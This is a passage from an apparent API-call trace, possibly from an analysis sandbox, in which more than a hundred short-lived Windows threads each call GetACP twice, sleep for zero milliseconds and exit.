[0117.647] GetACP () returned 0x4e4 [0117.647] GetACP () returned 0x4e4 [0117.647] Sleep (dwMilliseconds=0x0) [0117.744] RtlExitUserThread (Status=0x0) Thread: id = 554 os_tid = 0x1764 [0117.648] GetACP () returned 0x4e4 [0117.648] GetACP () returned 0x4e4 [0117.648] Sleep (dwMilliseconds=0x0) [0117.745] RtlExitUserThread (Status=0x0) Thread: id = 555 os_tid = 0x1768 [0117.649] GetACP () returned 0x4e4 [0117.649] GetACP () returned 0x4e4 [0117.649] Sleep (dwMilliseconds=0x0) [0117.745] RtlExitUserThread (Status=0x0) Thread: id = 556 os_tid = 0x176c [0117.650] GetACP () returned 0x4e4 [0117.650] GetACP () returned 0x4e4 [0117.650] Sleep (dwMilliseconds=0x0) [0117.746] RtlExitUserThread (Status=0x0) Thread: id = 557 os_tid = 0x1770 [0117.651] GetACP () returned 0x4e4 [0117.651] GetACP () returned 0x4e4 [0117.651] Sleep (dwMilliseconds=0x0) [0117.746] RtlExitUserThread (Status=0x0) Thread: id = 558 os_tid = 0x1774 [0117.652] GetACP () returned 0x4e4 [0117.652] GetACP () returned 0x4e4 [0117.652] Sleep (dwMilliseconds=0x0) [0117.747] RtlExitUserThread (Status=0x0) Thread: id = 559 os_tid = 0x1778 [0117.653] GetACP () returned 0x4e4 [0117.653] GetACP () returned 0x4e4 [0117.653] Sleep (dwMilliseconds=0x0) [0117.748] RtlExitUserThread (Status=0x0) Thread: id = 560 os_tid = 0x177c [0117.653] GetACP () returned 0x4e4 [0117.654] GetACP () returned 0x4e4 [0117.654] Sleep (dwMilliseconds=0x0) [0117.748] RtlExitUserThread (Status=0x0) Thread: id = 561 os_tid = 0x1780 [0117.655] GetACP () returned 0x4e4 [0117.655] GetACP () returned 0x4e4 [0117.655] Sleep (dwMilliseconds=0x0) [0117.749] RtlExitUserThread (Status=0x0) Thread: id = 562 os_tid = 0x1784 [0117.656] GetACP () returned 0x4e4 [0117.656] GetACP () returned 0x4e4 [0117.656] Sleep (dwMilliseconds=0x0) [0117.750] RtlExitUserThread (Status=0x0) Thread: id = 563 os_tid = 0x1788 [0117.751] GetACP () returned 0x4e4 [0117.751] GetACP () returned 0x4e4 [0117.751] Sleep (dwMilliseconds=0x0) [0117.842] RtlExitUserThread (Status=0x0) Thread: id = 564 os_tid = 0x178c [0117.752] GetACP () returned 0x4e4 [0117.752] GetACP () returned 0x4e4 [0117.752] Sleep (dwMilliseconds=0x0) [0117.843] RtlExitUserThread (Status=0x0) Thread: id = 565 os_tid = 0x1790 [0117.752] GetACP () returned 0x4e4 [0117.752] GetACP () returned 0x4e4 [0117.752] Sleep (dwMilliseconds=0x0) [0117.844] RtlExitUserThread (Status=0x0) Thread: id = 566 os_tid = 0x1794 [0117.753] GetACP () returned 0x4e4 [0117.753] GetACP () returned 0x4e4 [0117.753] Sleep (dwMilliseconds=0x0) [0117.844] RtlExitUserThread (Status=0x0) Thread: id = 567 os_tid = 0x1798 [0117.753] GetACP () returned 0x4e4 [0117.754] GetACP () returned 0x4e4 [0117.754] Sleep (dwMilliseconds=0x0) [0117.845] RtlExitUserThread (Status=0x0) Thread: id = 568 os_tid = 0x179c [0117.754] GetACP () returned 0x4e4 [0117.754] GetACP () returned 0x4e4 [0117.754] Sleep (dwMilliseconds=0x0) [0117.846] RtlExitUserThread (Status=0x0) Thread: id = 569 os_tid = 0x17a0 [0117.755] GetACP () returned 0x4e4 [0117.755] GetACP () returned 0x4e4 [0117.755] Sleep (dwMilliseconds=0x0) [0117.846] RtlExitUserThread (Status=0x0) Thread: id = 570 os_tid = 0x17a4 [0117.755] GetACP () returned 0x4e4 [0117.755] GetACP () returned 0x4e4 [0117.755] Sleep (dwMilliseconds=0x0) [0117.847] RtlExitUserThread (Status=0x0) Thread: id = 571 os_tid = 0x17a8 [0117.756] GetACP () returned 0x4e4 [0117.756] GetACP () returned 0x4e4 [0117.756] Sleep (dwMilliseconds=0x0) [0117.847] RtlExitUserThread (Status=0x0) Thread: id = 572 os_tid = 0x17ac [0117.757] GetACP () returned 0x4e4 [0117.757] GetACP () returned 0x4e4 [0117.757] Sleep (dwMilliseconds=0x0) [0117.848] RtlExitUserThread (Status=0x0) Thread: id = 573 os_tid = 0x17b0 [0117.757] GetACP () returned 0x4e4 [0117.757] GetACP () returned 0x4e4 [0117.757] Sleep (dwMilliseconds=0x0) [0117.849] RtlExitUserThread (Status=0x0) Thread: id = 574 os_tid = 0x17b4 [0117.758] GetACP () returned 0x4e4 [0117.758] GetACP () returned 0x4e4 [0117.758] Sleep (dwMilliseconds=0x0) [0117.849] RtlExitUserThread (Status=0x0) Thread: id = 575 os_tid = 0x17b8 [0117.758] GetACP () returned 0x4e4 [0117.758] GetACP () returned 0x4e4 [0117.758] Sleep (dwMilliseconds=0x0) [0117.852] RtlExitUserThread (Status=0x0) Thread: id = 576 os_tid = 0x17bc [0117.759] GetACP () returned 0x4e4 [0117.759] GetACP () returned 0x4e4 [0117.759] Sleep (dwMilliseconds=0x0) [0117.852] RtlExitUserThread (Status=0x0) Thread: id = 577 os_tid = 0x17c0 [0117.760] GetACP () returned 0x4e4 [0117.760] GetACP () returned 0x4e4 [0117.760] Sleep (dwMilliseconds=0x0) [0117.853] RtlExitUserThread (Status=0x0) Thread: id = 578 os_tid = 0x17c4 [0117.760] GetACP () returned 0x4e4 [0117.760] GetACP () returned 0x4e4 [0117.760] Sleep (dwMilliseconds=0x0) [0117.853] RtlExitUserThread (Status=0x0) Thread: id = 579 os_tid = 0x17c8 [0117.761] GetACP () returned 0x4e4 [0117.761] GetACP () returned 0x4e4 [0117.761] Sleep (dwMilliseconds=0x0) [0117.854] RtlExitUserThread (Status=0x0) Thread: id = 580 os_tid = 0x17cc [0117.761] GetACP () returned 0x4e4 [0117.761] GetACP () returned 0x4e4 [0117.761] Sleep (dwMilliseconds=0x0) [0117.855] RtlExitUserThread (Status=0x0) Thread: id = 581 os_tid = 0x17d0 [0117.762] GetACP () returned 0x4e4 [0117.762] GetACP () returned 0x4e4 [0117.762] Sleep (dwMilliseconds=0x0) [0117.855] RtlExitUserThread (Status=0x0) Thread: id = 582 os_tid = 0x17d4 [0117.762] GetACP () returned 0x4e4 [0117.762] GetACP () returned 0x4e4 [0117.762] Sleep (dwMilliseconds=0x0) [0117.856] RtlExitUserThread (Status=0x0) Thread: id = 583 os_tid = 0x17d8 [0117.857] GetACP () returned 0x4e4 [0117.857] GetACP () returned 0x4e4 [0117.857] Sleep (dwMilliseconds=0x0) [0117.991] RtlExitUserThread (Status=0x0) Thread: id = 584 os_tid = 0x17dc [0117.857] GetACP () returned 0x4e4 [0117.857] GetACP () returned 0x4e4 [0117.857] Sleep (dwMilliseconds=0x0) [0117.991] RtlExitUserThread (Status=0x0) Thread: id = 585 os_tid = 0x17e0 [0117.858] GetACP () returned 0x4e4 [0117.858] GetACP () returned 0x4e4 [0117.858] Sleep (dwMilliseconds=0x0) [0117.992] RtlExitUserThread (Status=0x0) Thread: id = 586 os_tid = 0x17e4 [0117.858] GetACP () returned 0x4e4 [0117.858] GetACP () returned 0x4e4 [0117.858] Sleep (dwMilliseconds=0x0) [0117.993] RtlExitUserThread (Status=0x0) Thread: id = 587 os_tid = 0x17e8 [0117.859] GetACP () returned 0x4e4 [0117.859] GetACP () returned 0x4e4 [0117.859] Sleep (dwMilliseconds=0x0) [0117.993] RtlExitUserThread (Status=0x0) Thread: id = 588 os_tid = 0x17ec [0117.859] GetACP () returned 0x4e4 [0117.859] GetACP () returned 0x4e4 [0117.859] Sleep (dwMilliseconds=0x0) [0117.994] RtlExitUserThread (Status=0x0) Thread: id = 589 os_tid = 0x17f0 [0117.860] GetACP () returned 0x4e4 [0117.860] GetACP () returned 0x4e4 [0117.860] Sleep (dwMilliseconds=0x0) [0117.995] RtlExitUserThread (Status=0x0) Thread: id = 590 os_tid = 0x17f4 [0117.860] GetACP () returned 0x4e4 [0117.860] GetACP () returned 0x4e4 [0117.860] Sleep (dwMilliseconds=0x0) [0117.995] RtlExitUserThread (Status=0x0) Thread: id = 591 os_tid = 0x17f8 [0117.861] GetACP () returned 0x4e4 [0117.861] GetACP () returned 0x4e4 [0117.861] Sleep (dwMilliseconds=0x0) [0117.996] RtlExitUserThread (Status=0x0) Thread: id = 592 os_tid = 0x17fc [0117.861] GetACP () returned 0x4e4 [0117.861] GetACP () returned 0x4e4 [0117.861] Sleep (dwMilliseconds=0x0) [0117.997] RtlExitUserThread (Status=0x0) Thread: id = 593 os_tid = 0x714 [0117.862] GetACP () returned 0x4e4 [0117.862] GetACP () returned 0x4e4 [0117.862] Sleep (dwMilliseconds=0x0) [0117.998] RtlExitUserThread (Status=0x0) Thread: id = 594 os_tid = 0x1420 [0117.862] GetACP () returned 0x4e4 [0117.862] GetACP () returned 0x4e4 [0117.862] Sleep (dwMilliseconds=0x0) [0117.998] RtlExitUserThread (Status=0x0) Thread: id = 595 os_tid = 0x1488 [0117.863] GetACP () returned 0x4e4 [0117.863] GetACP () returned 0x4e4 [0117.863] Sleep (dwMilliseconds=0x0) [0117.999] RtlExitUserThread (Status=0x0) Thread: id = 596 os_tid = 0x48c [0117.864] GetACP () returned 0x4e4 [0117.864] GetACP () returned 0x4e4 [0117.864] Sleep (dwMilliseconds=0x0) [0118.000] RtlExitUserThread (Status=0x0) Thread: id = 597 os_tid = 0xe88 [0117.864] GetACP () returned 0x4e4 [0117.864] GetACP () returned 0x4e4 [0117.864] Sleep (dwMilliseconds=0x0) [0118.000] RtlExitUserThread (Status=0x0) Thread: id = 598 os_tid = 0x6dc [0117.896] GetACP () returned 0x4e4 [0117.896] GetACP () returned 0x4e4 [0117.896] Sleep (dwMilliseconds=0x0) [0118.001] RtlExitUserThread (Status=0x0) Thread: id = 599 os_tid = 0x1480 [0117.897] GetACP () returned 0x4e4 [0117.897] GetACP () returned 0x4e4 [0117.897] Sleep (dwMilliseconds=0x0) [0118.002] RtlExitUserThread (Status=0x0) Thread: id = 600 os_tid = 0x148c [0117.898] GetACP () returned 0x4e4 [0117.898] GetACP () returned 0x4e4 [0117.898] Sleep (dwMilliseconds=0x0) [0118.002] RtlExitUserThread (Status=0x0) Thread: id = 601 os_tid = 0x1538 [0117.898] GetACP () returned 0x4e4 [0117.898] GetACP () returned 0x4e4 [0117.898] Sleep (dwMilliseconds=0x0) [0118.003] RtlExitUserThread (Status=0x0) Thread: id = 602 os_tid = 0x1540 [0117.899] GetACP () returned 0x4e4 [0117.899] GetACP () returned 0x4e4 [0117.899] Sleep (dwMilliseconds=0x0) [0118.003] RtlExitUserThread (Status=0x0) Thread: id = 603 os_tid = 0x1544 [0118.005] GetACP () returned 0x4e4 [0118.005] GetACP () returned 0x4e4 [0118.005] Sleep (dwMilliseconds=0x0) [0118.147] RtlExitUserThread (Status=0x0) Thread: id = 604 os_tid = 0x154c [0118.005] GetACP () returned 0x4e4 [0118.005] GetACP () returned 0x4e4 [0118.005] Sleep (dwMilliseconds=0x0) [0118.148] RtlExitUserThread (Status=0x0) Thread: id = 605 os_tid = 0x1550 [0118.006] GetACP () returned 0x4e4 [0118.006] GetACP () returned 0x4e4 [0118.006] Sleep (dwMilliseconds=0x0) [0118.149] RtlExitUserThread (Status=0x0) Thread: id = 606 os_tid = 0x754 [0118.006] GetACP () returned 0x4e4 [0118.006] GetACP () returned 0x4e4 [0118.006] Sleep (dwMilliseconds=0x0) [0118.150] RtlExitUserThread (Status=0x0) Thread: id = 607 os_tid = 0x1804 [0118.007] GetACP () returned 0x4e4 [0118.007] GetACP () returned 0x4e4 [0118.007] Sleep (dwMilliseconds=0x0) [0118.151] RtlExitUserThread (Status=0x0) Thread: id = 608 os_tid = 0x1808 [0118.007] GetACP () returned 0x4e4 [0118.007] GetACP () returned 0x4e4 [0118.007] Sleep (dwMilliseconds=0x0) [0118.152] RtlExitUserThread (Status=0x0) Thread: id = 609 os_tid = 0x180c [0118.008] GetACP () returned 0x4e4 [0118.008] GetACP () returned 0x4e4 [0118.008] Sleep (dwMilliseconds=0x0) [0118.153] RtlExitUserThread (Status=0x0) Thread: id = 610 os_tid = 0x1810 [0118.008] GetACP () returned 0x4e4 [0118.008] GetACP () returned 0x4e4 [0118.009] Sleep (dwMilliseconds=0x0) [0118.154] RtlExitUserThread (Status=0x0) Thread: id = 611 os_tid = 0x1814 [0118.009] GetACP () returned 0x4e4 [0118.009] GetACP () returned 0x4e4 [0118.009] Sleep (dwMilliseconds=0x0) [0118.155] RtlExitUserThread (Status=0x0) Thread: id = 612 os_tid = 0x1818 [0118.010] GetACP () returned 0x4e4 [0118.010] GetACP () returned 0x4e4 [0118.010] Sleep (dwMilliseconds=0x0) [0118.156] RtlExitUserThread (Status=0x0) Thread: id = 613 os_tid = 0x181c [0118.010] GetACP () returned 0x4e4 [0118.010] GetACP () returned 0x4e4 [0118.010] Sleep (dwMilliseconds=0x0) [0118.157] RtlExitUserThread (Status=0x0) Thread: id = 614 os_tid = 0x1820 [0118.011] GetACP () returned 0x4e4 [0118.011] GetACP () returned 0x4e4 [0118.011] Sleep (dwMilliseconds=0x0) [0118.159] RtlExitUserThread (Status=0x0) Thread: id = 615 os_tid = 0x1824 [0118.011] GetACP () returned 0x4e4 [0118.011] GetACP () returned 0x4e4 [0118.011] Sleep (dwMilliseconds=0x0) [0118.160] RtlExitUserThread (Status=0x0) Thread: id = 616 os_tid = 0x1828 [0118.012] GetACP () returned 0x4e4 [0118.012] GetACP () returned 0x4e4 [0118.012] Sleep (dwMilliseconds=0x0) [0118.161] RtlExitUserThread (Status=0x0) Thread: id = 617 os_tid = 0x182c [0118.013] GetACP () returned 0x4e4 [0118.013] GetACP () returned 0x4e4 [0118.013] Sleep (dwMilliseconds=0x0) [0118.162] RtlExitUserThread (Status=0x0) Thread: id = 618 os_tid = 0x1830 [0118.013] GetACP () returned 0x4e4 [0118.013] GetACP () returned 0x4e4 [0118.013] Sleep (dwMilliseconds=0x0) [0118.179] RtlExitUserThread (Status=0x0) Thread: id = 619 os_tid = 0x1834 [0118.014] GetACP () returned 0x4e4 [0118.014] GetACP () returned 0x4e4 [0118.014] Sleep (dwMilliseconds=0x0) [0118.180] RtlExitUserThread (Status=0x0) Thread: id = 620 os_tid = 0x1838 [0118.014] GetACP () returned 0x4e4 [0118.014] GetACP () returned 0x4e4 [0118.014] Sleep (dwMilliseconds=0x0) [0118.181] RtlExitUserThread (Status=0x0) Thread: id = 621 os_tid = 0x183c [0118.015] GetACP () returned 0x4e4 [0118.015] GetACP () returned 0x4e4 [0118.015] Sleep (dwMilliseconds=0x0) [0118.182] RtlExitUserThread (Status=0x0) Thread: id = 622 os_tid = 0x1840 [0118.015] GetACP () returned 0x4e4 [0118.015] GetACP () returned 0x4e4 [0118.015] Sleep (dwMilliseconds=0x0) [0118.182] RtlExitUserThread (Status=0x0) Thread: id = 623 os_tid = 0x184c [0118.189] GetACP () returned 0x4e4 [0118.189] GetACP () returned 0x4e4 [0118.189] Sleep (dwMilliseconds=0x0) [0118.456] RtlExitUserThread (Status=0x0) Thread: id = 624 os_tid = 0x1850 [0118.189] GetACP () returned 0x4e4 [0118.189] GetACP () returned 0x4e4 [0118.189] Sleep (dwMilliseconds=0x0) [0118.457] RtlExitUserThread (Status=0x0) Thread: id = 625 os_tid = 0x1854 [0118.190] GetACP () returned 0x4e4 [0118.190] GetACP () returned 0x4e4 [0118.190] Sleep (dwMilliseconds=0x0) [0118.459] RtlExitUserThread (Status=0x0) Thread: id = 626 os_tid = 0x1858 [0118.191] GetACP () returned 0x4e4 [0118.191] GetACP () returned 0x4e4 [0118.191] Sleep (dwMilliseconds=0x0) [0118.460] RtlExitUserThread (Status=0x0) Thread: id = 627 os_tid = 0x185c [0118.192] GetACP () returned 0x4e4 [0118.192] GetACP () returned 0x4e4 [0118.192] Sleep (dwMilliseconds=0x0) [0118.461] RtlExitUserThread (Status=0x0) Thread: id = 628 os_tid = 0x1860 [0118.192] GetACP () returned 0x4e4 [0118.193] GetACP () returned 0x4e4 [0118.193] Sleep (dwMilliseconds=0x0) [0118.464] RtlExitUserThread (Status=0x0) Thread: id = 629 os_tid = 0x1864 [0118.229] GetACP () returned 0x4e4 [0118.229] GetACP () returned 0x4e4 [0118.229] Sleep (dwMilliseconds=0x0) [0118.466] RtlExitUserThread (Status=0x0) Thread: id = 630 os_tid = 0x1868 [0118.230] GetACP () returned 0x4e4 [0118.231] GetACP () returned 0x4e4 [0118.231] Sleep (dwMilliseconds=0x0) [0118.467] RtlExitUserThread (Status=0x0) Thread: id = 631 os_tid = 0x186c [0118.231] GetACP () returned 0x4e4 [0118.231] GetACP () returned 0x4e4 [0118.231] Sleep (dwMilliseconds=0x0) [0118.468] RtlExitUserThread (Status=0x0) Thread: id = 632 os_tid = 0x1870 [0118.232] GetACP () returned 0x4e4 [0118.232] GetACP () returned 0x4e4 [0118.232] Sleep (dwMilliseconds=0x0) [0118.470] RtlExitUserThread (Status=0x0) Thread: id = 633 os_tid = 0x1874 [0118.233] GetACP () returned 0x4e4 [0118.233] GetACP () returned 0x4e4 [0118.233] Sleep (dwMilliseconds=0x0) [0118.471] RtlExitUserThread (Status=0x0) Thread: id = 634 os_tid = 0x1878 [0118.234] GetACP () returned 0x4e4 [0118.234] GetACP () returned 0x4e4 [0118.234] Sleep (dwMilliseconds=0x0) [0118.472] RtlExitUserThread (Status=0x0) Thread: id = 635 os_tid = 0x187c [0118.235] GetACP () returned 0x4e4 [0118.235] GetACP () returned 0x4e4 [0118.235] Sleep (dwMilliseconds=0x0) [0118.473] RtlExitUserThread (Status=0x0) Thread: id = 636 os_tid = 0x1880 [0118.235] GetACP () returned 0x4e4 [0118.235] GetACP () returned 0x4e4 [0118.235] Sleep (dwMilliseconds=0x0) [0118.474] RtlExitUserThread (Status=0x0) Thread: id = 637 os_tid = 0x1884 [0118.236] GetACP () returned 0x4e4 [0118.236] GetACP () returned 0x4e4 [0118.236] Sleep (dwMilliseconds=0x0) [0118.476] RtlExitUserThread (Status=0x0) Thread: id = 638 os_tid = 0x1888 [0118.237] GetACP () returned 0x4e4 [0118.237] GetACP () returned 0x4e4 [0118.237] Sleep (dwMilliseconds=0x0) [0118.478] RtlExitUserThread (Status=0x0) Thread: id = 639 os_tid = 0x188c [0118.238] GetACP () returned 0x4e4 [0118.238] GetACP () returned 0x4e4 [0118.238] Sleep (dwMilliseconds=0x0) [0118.479] RtlExitUserThread (Status=0x0) Thread: id = 640 os_tid = 0x1890 [0118.239] GetACP () returned 0x4e4 [0118.239] GetACP () returned 0x4e4 [0118.239] Sleep (dwMilliseconds=0x0) [0118.480] RtlExitUserThread (Status=0x0) Thread: id = 641 os_tid = 0x1894 [0118.239] GetACP () returned 0x4e4 [0118.240] GetACP () returned 0x4e4 [0118.240] Sleep (dwMilliseconds=0x0) [0118.482] RtlExitUserThread (Status=0x0) Thread: id = 642 os_tid = 0x1898 [0118.322] GetACP () returned 0x4e4 [0118.322] GetACP () returned 0x4e4 [0118.323] Sleep (dwMilliseconds=0x0) [0118.483] RtlExitUserThread (Status=0x0) Thread: id = 643 os_tid = 0x189c [0118.485] GetACP () returned 0x4e4 [0118.485] GetACP () returned 0x4e4 [0118.485] Sleep (dwMilliseconds=0x0) [0118.617] RtlExitUserThread (Status=0x0) Thread: id = 644 os_tid = 0x18a0 [0118.486] GetACP () returned 0x4e4 [0118.486] GetACP () returned 0x4e4 [0118.486] Sleep (dwMilliseconds=0x0) [0118.618] RtlExitUserThread (Status=0x0) Thread: id = 645 os_tid = 0x18a4 [0118.488] GetACP () returned 0x4e4 [0118.488] GetACP () returned 0x4e4 [0118.488] Sleep (dwMilliseconds=0x0) [0118.620] RtlExitUserThread (Status=0x0) Thread: id = 646 os_tid = 0x18a8 [0118.489] GetACP () returned 0x4e4 [0118.489] GetACP () returned 0x4e4 [0118.489] Sleep (dwMilliseconds=0x0) [0118.621] RtlExitUserThread (Status=0x0) Thread: id = 647 os_tid = 0x18ac [0118.491] GetACP () returned 0x4e4 [0118.491] GetACP () returned 0x4e4 [0118.491] Sleep (dwMilliseconds=0x0) [0118.622] RtlExitUserThread (Status=0x0) Thread: id = 648 os_tid = 0x18b0 [0118.491] GetACP () returned 0x4e4 [0118.491] GetACP () returned 0x4e4 [0118.491] Sleep (dwMilliseconds=0x0) [0118.624] RtlExitUserThread (Status=0x0) Thread: id = 649 os_tid = 0x18b4 [0118.492] GetACP () returned 0x4e4 [0118.492] GetACP () returned 0x4e4 [0118.492] Sleep (dwMilliseconds=0x0) [0118.625] RtlExitUserThread (Status=0x0) Thread: id = 650 os_tid = 0x18b8 [0118.493] GetACP () returned 0x4e4 [0118.493] GetACP () returned 0x4e4 [0118.493] Sleep (dwMilliseconds=0x0) [0118.626] RtlExitUserThread (Status=0x0) Thread: id = 651 os_tid = 0x18bc [0118.494] GetACP () returned 0x4e4 [0118.494] GetACP () returned 0x4e4 [0118.494] Sleep (dwMilliseconds=0x0) [0118.628] RtlExitUserThread (Status=0x0) Thread: id = 652 os_tid = 0x18c0 [0118.495] GetACP () returned 0x4e4 [0118.495] GetACP () returned 0x4e4 [0118.495] Sleep (dwMilliseconds=0x0) [0118.629] RtlExitUserThread (Status=0x0) Thread: id = 653 os_tid = 0x18c4 [0118.496] GetACP () returned 0x4e4 [0118.496] GetACP () returned 0x4e4 [0118.496] Sleep (dwMilliseconds=0x0) [0118.631] RtlExitUserThread (Status=0x0) Thread: id = 654 os_tid = 0x18c8 [0118.497] GetACP () returned 0x4e4 [0118.497] GetACP () returned 0x4e4 [0118.497] Sleep (dwMilliseconds=0x0) [0118.633] RtlExitUserThread (Status=0x0) Thread: id = 655 os_tid = 0x18cc [0118.498] GetACP () returned 0x4e4 [0118.498] GetACP () returned 0x4e4 [0118.498] Sleep (dwMilliseconds=0x0) [0118.635] RtlExitUserThread (Status=0x0) Thread: id = 656 os_tid = 0x18d0 [0118.499] GetACP () returned 0x4e4 [0118.499] GetACP () returned 0x4e4 [0118.499] Sleep (dwMilliseconds=0x0) [0118.636] RtlExitUserThread (Status=0x0) Thread: id = 657 os_tid = 0x18d4 [0118.500] GetACP () returned 0x4e4 [0118.500] GetACP () returned 0x4e4 [0118.500] Sleep (dwMilliseconds=0x0) [0118.637] RtlExitUserThread (Status=0x0) Thread: id = 658 os_tid = 0x18d8 [0118.501] GetACP () returned 0x4e4 [0118.501] GetACP () returned 0x4e4 [0118.501] Sleep (dwMilliseconds=0x0) [0118.638] RtlExitUserThread (Status=0x0) Thread: id = 659 os_tid = 0x18dc [0118.502] GetACP () returned 0x4e4 [0118.502] GetACP () returned 0x4e4 [0118.502] Sleep (dwMilliseconds=0x0) [0118.639] RtlExitUserThread (Status=0x0) Thread: id = 660 os_tid = 0x18e0 [0118.503] GetACP () returned 0x4e4 [0118.503] GetACP () returned 0x4e4 [0118.503] Sleep (dwMilliseconds=0x0) [0118.641] RtlExitUserThread (Status=0x0) Thread: id = 661 os_tid = 0x18e4 [0118.504] GetACP () returned 0x4e4 [0118.504] GetACP () returned 0x4e4 [0118.504] Sleep (dwMilliseconds=0x0) [0118.643] RtlExitUserThread (Status=0x0) Thread: id = 662 os_tid = 0x18e8 [0118.505] GetACP () returned 0x4e4 [0118.505] GetACP () returned 0x4e4 [0118.505] Sleep (dwMilliseconds=0x0) [0118.644] RtlExitUserThread (Status=0x0) Thread: id = 663 os_tid = 0x18ec [0118.647] GetACP () returned 0x4e4 [0118.647] GetACP () returned 0x4e4 [0118.648] Sleep (dwMilliseconds=0x0) [0118.791] RtlExitUserThread (Status=0x0) Thread: id = 664 os_tid = 0x18f0 [0118.648] GetACP () returned 0x4e4 [0118.648] GetACP () returned 0x4e4 [0118.648] Sleep (dwMilliseconds=0x0) [0118.791] RtlExitUserThread (Status=0x0) Thread: id = 665 os_tid = 0x18f4 [0118.650] GetACP () returned 0x4e4 [0118.650] GetACP () returned 0x4e4 [0118.650] Sleep (dwMilliseconds=0x0) [0118.792] RtlExitUserThread (Status=0x0) Thread: id = 666 os_tid = 0x18f8 [0118.651] GetACP () returned 0x4e4 [0118.651] GetACP () returned 0x4e4 [0118.651] Sleep (dwMilliseconds=0x0) [0118.792] RtlExitUserThread (Status=0x0) Thread: id = 667 os_tid = 0x18fc [0118.652] GetACP () returned 0x4e4 [0118.652] GetACP () returned 0x4e4 [0118.652] Sleep (dwMilliseconds=0x0) [0118.793] RtlExitUserThread (Status=0x0) Thread: id = 668 os_tid = 0x1900 [0118.653] GetACP () returned 0x4e4 [0118.653] GetACP () returned 0x4e4 [0118.653] Sleep (dwMilliseconds=0x0) [0118.793] RtlExitUserThread (Status=0x0) Thread: id = 669 os_tid = 0x1904 [0118.655] GetACP () returned 0x4e4 [0118.655] GetACP () returned 0x4e4 [0118.655] Sleep (dwMilliseconds=0x0) [0118.794] RtlExitUserThread (Status=0x0) Thread: id = 670 os_tid = 0x1908 [0118.656] GetACP () returned 0x4e4 [0118.656] GetACP () returned 0x4e4 [0118.656] Sleep (dwMilliseconds=0x0) [0118.794] RtlExitUserThread (Status=0x0) Thread: id = 671 os_tid = 0x190c [0118.657] GetACP () returned 0x4e4 [0118.657] GetACP () returned 0x4e4 [0118.657] Sleep (dwMilliseconds=0x0) [0118.795] RtlExitUserThread (Status=0x0) Thread: id = 672 os_tid = 0x1910 [0118.658] GetACP () returned 0x4e4 [0118.658] GetACP () returned 0x4e4 [0118.658] Sleep (dwMilliseconds=0x0) [0118.796] RtlExitUserThread (Status=0x0) Thread: id = 673 os_tid = 0x1914 [0118.659] GetACP () returned 0x4e4 [0118.659] GetACP () returned 0x4e4 [0118.659] Sleep (dwMilliseconds=0x0) [0118.796] RtlExitUserThread (Status=0x0) Thread: id = 674 os_tid = 0x1918 [0118.670] GetACP () returned 0x4e4 [0118.670] GetACP () returned 0x4e4 [0118.670] Sleep (dwMilliseconds=0x0) [0118.797] RtlExitUserThread (Status=0x0) Thread: id = 675 os_tid = 0x191c [0118.671] GetACP () returned 0x4e4 [0118.671] GetACP () returned 0x4e4 [0118.671] Sleep (dwMilliseconds=0x0) [0118.797] RtlExitUserThread (Status=0x0) Thread: id = 676 os_tid = 0x1920 [0118.672] GetACP () returned 0x4e4 [0118.672] GetACP () returned 0x4e4 [0118.672] Sleep (dwMilliseconds=0x0) [0118.798] RtlExitUserThread (Status=0x0) Thread: id = 677 os_tid = 0x1924 [0118.673] GetACP () returned 0x4e4 [0118.673] GetACP () returned 0x4e4 [0118.674] Sleep (dwMilliseconds=0x0) [0118.798] RtlExitUserThread (Status=0x0) Thread: id = 678 os_tid = 0x1928 [0118.698] GetACP () returned 0x4e4 [0118.698] GetACP () returned 0x4e4 [0118.703] Sleep (dwMilliseconds=0x0) [0118.799] RtlExitUserThread (Status=0x0) Thread: id = 679 os_tid = 0x192c [0118.704] GetACP () returned 0x4e4 [0118.704] GetACP () returned 0x4e4 [0118.704] Sleep (dwMilliseconds=0x0) [0118.799] RtlExitUserThread (Status=0x0) Thread: id = 680 os_tid = 0x1930 [0118.704] GetACP () returned 0x4e4 [0118.704] GetACP () returned 0x4e4 [0118.704] Sleep (dwMilliseconds=0x0) [0118.800] RtlExitUserThread (Status=0x0) Thread: id = 681 os_tid = 0x1934 [0118.705] GetACP () returned 0x4e4 [0118.705] GetACP () returned 0x4e4 [0118.705] Sleep (dwMilliseconds=0x0) [0118.801] RtlExitUserThread (Status=0x0) Thread: id = 682 os_tid = 0x1938 [0118.705] GetACP () returned 0x4e4 [0118.705] GetACP () returned 0x4e4 [0118.706] Sleep (dwMilliseconds=0x0) [0118.801] RtlExitUserThread (Status=0x0) Thread: id = 683 os_tid = 0x193c [0118.802] GetACP () returned 0x4e4 [0118.802] GetACP () returned 0x4e4 [0118.802] Sleep (dwMilliseconds=0x0) [0118.872] RtlExitUserThread (Status=0x0) Thread: id = 684 os_tid = 0x1940 [0118.803] GetACP () returned 0x4e4 [0118.803] GetACP () returned 0x4e4 [0118.803] Sleep (dwMilliseconds=0x0) [0118.873] RtlExitUserThread (Status=0x0) Thread: id = 685 os_tid = 0x1944 [0118.803] GetACP () returned 0x4e4 [0118.803] GetACP () returned 0x4e4 [0118.803] Sleep (dwMilliseconds=0x0) [0118.873] RtlExitUserThread (Status=0x0) Thread: id = 686 os_tid = 0x1948 [0118.803] GetACP () returned 0x4e4 [0118.803] GetACP () returned 0x4e4 [0118.803] Sleep (dwMilliseconds=0x0) [0118.874] RtlExitUserThread (Status=0x0) Thread: id = 687 os_tid = 0x194c [0118.804] GetACP () returned 0x4e4 [0118.804] GetACP () returned 0x4e4 [0118.804] Sleep (dwMilliseconds=0x0) [0118.874] RtlExitUserThread (Status=0x0) Thread: id = 688 os_tid = 0x1950 [0118.811] GetACP () returned 0x4e4 [0118.811] GetACP () returned 0x4e4 [0118.811] Sleep (dwMilliseconds=0x0) [0118.875] RtlExitUserThread (Status=0x0) Thread: id = 689 os_tid = 0x1954 [0118.812] GetACP () returned 0x4e4 [0118.812] GetACP () returned 0x4e4 [0118.812] Sleep (dwMilliseconds=0x0) [0118.876] RtlExitUserThread (Status=0x0) Thread: id = 690 os_tid = 0x1958 [0118.812] GetACP () returned 0x4e4 [0118.812] GetACP () returned 0x4e4 [0118.812] Sleep (dwMilliseconds=0x0) [0118.876] RtlExitUserThread (Status=0x0) Thread: id = 691 os_tid = 0x195c [0118.813] GetACP () returned 0x4e4 [0118.813] GetACP () returned 0x4e4 [0118.813] Sleep (dwMilliseconds=0x0) [0118.877] RtlExitUserThread (Status=0x0) Thread: id = 692 os_tid = 0x1960 [0118.813] GetACP () returned 0x4e4 [0118.813] GetACP () returned 0x4e4 [0118.813] Sleep (dwMilliseconds=0x0) [0118.878] RtlExitUserThread (Status=0x0) Thread: id = 693 os_tid = 0x1964 [0118.814] 